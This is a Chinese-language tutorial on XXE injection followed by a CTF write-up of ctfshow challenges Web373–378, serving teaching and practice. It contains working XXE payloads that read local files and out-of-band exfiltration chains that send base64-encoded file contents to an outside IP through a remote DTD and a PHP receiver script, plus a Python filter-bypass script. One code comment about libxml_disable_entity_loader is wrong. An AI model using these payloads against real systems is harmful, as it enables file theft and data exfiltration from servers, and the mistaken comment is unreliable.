初识XXE漏洞
1.XXE简介
XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。
那有的小伙伴可能就会问了,那XML又是什么呢?
2.XML概念
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。
但是XML和HTML有明显区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
XML语法简析
1.XML基础语法
树形结构 必须具有根元素
<root>
<child>
<subchild>.....</subchild>
</child>
</root>
举例:
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
声明 : <?xml version="1.0" encoding="utf-8"?>
标签中大小写敏感
属性值必须加引号
实体引用
一些字符拥有特殊含义 所以使用实体引用代替特殊字符
<message>if salary < 1000 then</message>
<!--上面的<是特殊字符 在解析器中会把他当做新元素的开始 修改如下-->
<message>if salary < 1000 then</message>
2.DTD (Document Type Definition)
作用:
在XML文档中加入DTD声明可以告诉XML解析器该文档遵循哪个DTD文档类型,对文档进行验证,以确保文档正确性。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rootElement SYSTEM "example.dtd">
<rootElement>
<childElement>Hello World!</childElement>
</rootElement>
么是XXE :构造恶意DTD 主要是利用实体引用
实体
内部实体(无SYSTEM 不需要引用外部文件)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY > <!--定义元素为any 说明接收任何元素 -->
<!ENTITY xxe "test" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
在user标签里面 使用&进行引用 解析输出的时候就会被test替换
外部实体(带有SYSTEM 需要请求外部文件)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
相当于在dtd文档中创建了外部实体xxe 该实体的作用是读取本地文件
当解析xml文档的时候会遇到&xxe 会自动执行读取文件的操作
上面的SYSTEM 引用的方法还可以使用公用DTD的方法操作
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名" “公用DTD的URI">
XXE危害
- file://xxx读取文件
- SSRF攻击
- 盲注 信息数据泄露
- 结合文件上传 getshell
Web373
// 关闭PHP的错误报告,这意味着在代码执行过程中发生的任何错误或警告都不会被显示或记录。
error_reporting(0);
// 尝试启用libxml的外部实体加载功能。然而,这里有一个误解:
// libxml_disable_entity_loader(false) 实际上并不会启用外部实体加载,
// 因为libxml_disable_entity_loader()的默认行为就是禁用外部实体加载(即true),
// 所以传递false给它并不会改变默认行为。
// 正确的做法是确保在解析XML时不会加载外部实体,以防止XXE攻击。
libxml_disable_entity_loader(false);
// 使用file_get_contents函数从'php://input'流中读取原始POST数据。
// 这通常用于接收非表单数据的POST请求,如JSON或XML。
$xmlfile = file_get_contents('php://input');
// 检查$xmlfile变量是否已设置(即POST请求中是否包含了数据)。
// 注意:由于file_get_contents('php://input')在失败时会返回false或空字符串,
// 这里使用isset()实际上会检查变量是否存在且不为null,但它不会检查字符串是否为空。
// 对于空字符串的情况,isset()也会返回true。
if(isset($xmlfile)){
// 创建一个DOMDocument对象,用于加载和解析XML数据。
$dom = new DOMDocument();
// 尝试使用loadXML方法加载$xmlfile变量中的XML数据。
// LIBXML_NOENT选项用于替换XML文档中的实体引用。
// LIBXML_DTDLOAD选项允许在解析XML时加载DTD(文档类型定义)。
// 注意:LIBXML_DTDLOAD可能增加XXE攻击的风险,特别是当外部实体加载被启用时。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 使用simplexml_import_dom函数将DOMDocument对象转换为SimpleXMLElement对象,
// 以便可以使用SimpleXML的API来操作XML数据。
$creds = simplexml_import_dom($dom);
// 尝试从$creds对象中获取名为'ctfshow'的子元素的值。
// 这里假设XML结构中存在一个名为'ctfshow'的元素,并且它是$creds的直接子元素。
// 如果'ctfshow'不存在,这将导致一个警告(但由于error_reporting(0),警告不会被显示)。
$ctfshow = $creds->ctfshow;
// 输出'ctfshow'元素的值。
// 如果'ctfshow'不存在或为空,这里将输出空字符串或之前可能存在的任何值。
echo $ctfshow;
}
Payload:
<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>
Web374
这题没有xxe回显返回值
在服务器上先上传1.php
<?php
file_put_contents("test.txt", $_GET['file']) ;
?>
上传xxe.xml
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://8.130.28.124/1.php?file=%file;'> ">
%dtd;
%xxe;
POST抓包上传
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://8.130.28.124/xxe.xml">
%aaa;
]>
<root>123</root>
服务器接收到回显值
再base64解码
Web375
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
过滤了xml和version=1或0
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://8.130.28.124/xxe.dtd">
%aaa;
]>
<root>123</root>
Web376
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
过滤了xml version,1,0不区分大小写
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://8.130.28.124/xxe.dtd">
%aaa;
]>
<root>123</root>
Web377
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
过滤了xml version,1,0,http,不区分大小写
Python代码
from requests import post
payload = """
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://8.130.28.124/xxe.dtd">
%dtd;
%send;
]>
<root></root>
""".encode('UTF-16')
print(post(
url='https://ab153ad2-d270-449e-bba8-1012a68caee3.challenge.ctf.show/',
data=payload
).text)
Web378
Payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>